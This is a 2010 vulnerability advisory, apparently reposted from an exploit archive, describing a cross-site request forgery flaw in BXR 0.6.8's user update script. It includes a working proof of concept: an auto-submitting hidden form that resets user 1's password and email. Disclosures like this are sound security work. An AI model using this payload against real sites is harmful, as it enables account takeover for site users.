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BXR v0.6.8 CSRF Vulnerability

Posted on 05 August 2010

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BXR v0.6.8 CSRF Vulnerability
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Vulnerability ID: HTB22503
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_bxr.html
Product: BXR
Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/bxr )
Vulnerable Version: 0.6.8 and Probably Prior Versions
Vendor Notification: 22 July 2010
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Fixed by Vendor
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking &amp; Penetration Testing (http://www.htbridge.ch/)
 
Vulnerability Details:
The vulnerability exists due to failure in the &quot;/user/update&quot; script to properly verify the source of HTTP request.
 
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
 
Attacker can use browser to exploit this vulnerability. The following PoC is available:
 
&lt;form action=&quot;http://host/user/update/1&quot; method=&quot;post&quot; name=&quot;main&quot; &gt;
 
&lt;input type=&quot;hidden&quot; name=&quot;user[name]&quot; value=&quot;admin&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;user[email]&quot; value=&quot;myemail (at) example (dot) com [email concealed]&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;user[password]&quot; value=&quot;123&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;user[password_confirmation]&quot; value=&quot;123&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;belongs_to_group[1]&quot; value=&quot;yes&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;user[default_folder_id]&quot; value=&quot;1&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;commit&quot; value=&quot;Save&quot; /&gt;
 
&lt;/form&gt;
&lt;script&gt;
document.main.submit();
&lt;/script&gt;
 
Solution: Upgrade to the most recent version


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-05]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

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